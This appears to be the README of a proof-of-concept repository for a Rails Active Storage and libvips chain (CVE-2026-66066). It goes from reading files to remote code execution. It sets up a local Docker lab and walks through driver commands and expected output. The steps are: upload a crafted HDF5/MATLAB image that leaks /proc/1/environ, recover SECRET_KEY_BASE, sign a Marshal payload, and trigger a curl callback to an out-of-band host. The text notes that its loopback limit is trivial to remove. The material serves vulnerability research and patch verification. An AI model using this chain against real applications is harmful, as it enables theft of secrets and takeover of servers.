
PoC for CVE-2026-66066 in Ruby on Rails
This repository reproduces the Rails Active Storage file-read-to-RCE chain described by GHSA-xr9x-r78c-5hrm against Rails 8.1.3, the newest affected Rails 8.1 release. Rails 8.1.3.1 is the patched control.
Use it only in the disposable local lab described here. The HTTP driver refuses non-loopback targets (although trivial to modify the Python code for authorized testing against other targets).
The target is a conventional Rails application. Its final image contains:
ruby:3.4.10-slim Docker Official Image;rails _VERSION_ new;curl, libjemalloc2, libvips,
and sqlite3;./bin/thrust ./bin/rails server command; andUpload model with a single Active Storage attachment, ordinary
HTML new, create, and show actions, and a PNG image variant.It does not contain an artifact builder, upload artifact, exploit driver,
Marshal constructor, callback code, diagnostic endpoint, loader tracing,
custom boot script, target secret fixture, or exploit-only route. It does not
set VIPS_TRACE, reorder the process environment, override the Active Storage
serializer, or configure a non-default image processor.
The root .dockerignore sends only Dockerfile and overlay/ to the build.
The host-side Python scripts and all generated artifacts are excluded from the
Docker build context, not merely omitted from the final copy step.
The complete target overlay is five ordinary files:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
The show page uses the minimal normal transformation:
<%= image_tag @upload.avatar.variant(format: :png) %>
An untouched new Rails application has no application model or page that accepts an attachment, so those five files are the minimum application functionality needed to represent the advisory's untrusted-image-upload condition.
Prerequisites are Docker, OpenSSL, Python 3, and h5py for the artifact
builder.
In terminal 1:
./run_lab.sh 8.1.3
The script builds minimal-rails-vips:8.1.3, generates an ephemeral
SECRET_KEY_BASE unless one is already supplied, publishes the application
only at 127.0.0.1:3000, and runs the image's generated entrypoint and
default command. No source directory or artifact is mounted into the target.
If port 3000 is already occupied, select another loopback port without changing the image:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Use the same port in the driver's --target.
In terminal 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py is a one-shot builder and HTTP driver. Unless
--artifact is supplied, it constructs the upload in a private temporary
directory, keeps it for the complete request sequence, and removes it when
the process exits. It constructs both stages rather than unpacking a static
payload:
h5py to create a MATLAB/HDF5 file with a 512-byte user block.1 × 1024 little-endian uint8 dataset named environment./proc/1/environ, offset
zero, with a bounded 1,024-byte extent.MATLAB_class="uint8" and writes the MATLAB 5.0 header used by
libvips' matload sniffer.The embedded RCE program is fixed to /usr/bin/curl with a structured
argument array. It performs one GET to the configured OAST URL and sends only
the random rails_ghsa_xr9x correlation token. It does not use a shell and
does not include recovered secrets, command output, file contents, or a
target identifier in the callback.
Artifact parameters are:
--external-path: target-side absolute file, default /proc/1/environ;--bytes: bounded external extent from 128 through 4096, default 1024;--oast: callback base URL embedded in the payload; and--nonce: optional 16-byte hexadecimal nonce for a reproducible artifact.The default OAST URL is loopback-safe. Supply a receiver URL reachable from the container for the end-to-end check.
To retain the generated upload for inspection or reuse, add an artifact path:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
An existing --artifact is validated and reused. In that case --oast, when
given, must match its embedded callback URL. Add --force to reconstruct and
atomically replace it with the current builder parameters.
For artifact creation without any HTTP requests, the companion builder is still available:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target defaults to http://127.0.0.1:3000 and is restricted to literal
loopback or localhost.
Expected vulnerable output includes:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Match oast_nonce in the terminal with the
rails_ghsa_xr9x=<nonce> query parameter received by the OAST service. The
HTTP 500 from the final representation request is expected: the callback
happens while the authenticated Marshal Hash is being rebuilt, before the
overall transformation subsequently fails.
The builder portion requires h5py; the HTTP and cryptographic portions use
only Python's standard library:
image/bmp, then uploads the constructed
bytes.matload operation. The returned
PNG exposes the external dataset bytes, including the runtime
SECRET_KEY_BASE.ActiveStorage verifier key, reads the
already-constructed Marshal payload from the artifact, signs it for the
variation purpose, and requests the resulting representation URL./usr/bin/curl payload and produces
the blind OOB callback.The target contributes no helper endpoint or signing gadget. The Ruby classes
used by the serialized graph come from dependencies already resolved by a
stock rails new Gemfile; the application does not require or configure them.
Image processing remains on the Rails default :vips processor throughout.
Stop terminal 1 with Ctrl-C, then run:
./run_lab.sh 8.1.3.1
Rerun the same combined driver command. If an artifact was retained, it can
be reused by passing the same --artifact path. The patched result should
stop at:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
No environment pixels are returned, the embedded payload is never signed or
submitted, and no OAST callback occurs. Active Storage 8.1.3.1 enables
libvips' untrusted-operation block, so matload is rejected.
The final runtime configuration should be the generated one:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Expected:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Inspect the only script and confirm the PoC files are absent:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
The only script entry is the generator-created /rails/script/.keep.
Build tools and optional image CLIs also stay out of the runtime:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips is present as a shared runtime library even though its CLI tools are
not installed. Debian's stock dependency graph supplies the linked MAT/HDF5
format support.
Dockerfile generates and packages the minimal stock target..dockerignore prevents attacker-side files from entering the build
context.overlay/ contains only the five normal Rails application files.run_lab.sh builds and launches the target without executing the PoC.rails_vips_oast_poc.py constructs the HDF5 file-read image and configurable
OOB payload, drives the normal HTTP flow, recovers the verifier secret,
signs the embedded payload, and triggers it.